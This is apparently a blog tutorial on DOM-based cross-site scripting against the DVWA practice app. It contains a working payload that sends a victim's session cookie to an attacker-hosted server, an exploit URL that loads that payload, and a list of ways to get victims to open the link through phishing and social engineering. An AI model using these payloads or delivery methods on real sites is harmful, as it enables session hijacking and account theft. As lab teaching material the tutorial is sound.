Cross-Site Scripting (XSS) Exploits Part 1: Unveiling Vulnerabilities with DVWA

In the intricate web of security, threats come in various forms, each more cunning than the last. Following my deep dive into SQL Injections, I’ve turned my attention to another formidable challenge: Cross-Site Scripting, or XSS. My aim in this series is to shed light on XSS attacks, with a focus on those exploiting DOM-based vulnerabilities. For this exploration, I’ve chosen the Damn Vulnerable Web Application (DVWA) as a practical tool to demonstrate the risk and execution of these attacks.

XSS in the Context of Injection Attacks According to OWASP

The OWASP Top 10’s 2021 edition categorizes Cross-Site Scripting (XSS) within the broader “Injection” category, underlining its prominence and the threat it poses in the landscape of web application vulnerabilities. By sliding down to the third position, the category emphasizes the critical nature of XSS alongside SQL Injection and other injection flaws, highlighting the offensive capabilities these vulnerabilities provide attackers. With 94% of applications tested for some form of injection, the inclusion of XSS (CWE-79) underscores the essential need for developers to prioritize input validation and sanitization to defend against these pervasive and impactful attack vectors.

Understanding DOM-based XSS

JavaScript’s interaction with the Document Object Model (DOM) is what makes web applications dynamic. It’s a programming interface for web documents (or web pages, written in HTML) and represents the web page in the form of objects that have properties and methods so that programs (like scripts or functions) can interact with it (like changes that enhance user experience). When it comes to DOM-based XSS attacks, the attacker’s script can alter the DOM in a client’s browser to include malicious content, such as a script that steals cookies or other sensitive information. These types of attacks are purely browser based and do not typically require sending malicious content to a server. Therefore, a worthy attack vector lies within the URL.

Setting Up the Environment

DVWA offers an ideal setting for security professionals and enthusiasts to test and understand web vulnerabilities. Before starting, I ensured I had DVWA set up and ready. This tutorial assumes familiarity with the basic setup and access procedures for DVWA. If you do not have it set up already, follow this guide I found online:

https://thexssrat.medium.com/installing-the-dvwa-to-try-hacking-on-57f2605e8f60

Examining the Form

Exploiting XSS began with a simple form in DVWA:

Selecting a language and clicking “Select” changed the URL, hinting at potential exploit pathways:

Testing for XSS

I continued with manipulating the URL parameter. I started with a classic XSS test script inserted directly into the URL:

• http://localhost:8080/vulnerabilities/xss_d/?default=<script>alert(document.cookie.split(“;”)[0])</script>

Getting the Cookie, Remotely

While initially amusing, the direct alert only showed the cookie to me, which isn’t very useful in a real attack scenario. I needed a method to capture cookies remotely.

Setting Up a Server on Kali

First, I set up a temporary server:

• python3 -m http.server 9999 -d /path/to/directoryofyourchoice

This server was crucial for logging all incoming requests, a key feature for our exploit.

Building The Exploit and Payload

I crafted a URL pointing to a benign JavaScript file on my server, which secretly contained our malicious payload.

The Malicious Script:

function getimg() {
    var img = document.createElement('img');
    img.src = 'http://<your_Kali_IP>:9999/' + document.cookie;
    document.body.appendChild(img);
}
getimg();

I saved this script as a.js in the server’s root directory (the director from the earlier command).

Running the Payload

With everything in place, my final exploit looked like this:

• http://localhost:8080/vulnerabilities/xss_d/?default=<script src=”http://[your_Kali_IP]:9999/a.js”></script>

After visiting the URL, my server logs captured the victim’s cookie, marking the success of the exploit:

To affect someone else’s browser, this URL must be delivered to and opened by the victim. This could happen through various methods:

• Phishing Emails: Sending emails that contain the malicious link, persuading the user to click it.
• Social Engineering: Posting the link on forums, social media, or any platform where users might inadvertently click it.
• Third-party Websites: Injecting the link into websites that allow user content to be published, hoping that users will navigate through these links.

Conclusion and Takeaways

This tutorial underscores the simplicity and effectiveness of XSS attacks, particularly in environments that fail to sanitize input properly. As I conclude Part 1, it’s important to remember the ethical boundaries of hacking. Knowledge is powerful but must be used responsibly. In Part 2, I’ll dive into defending against such attacks, ensuring our applications remain secure amid evolving threats.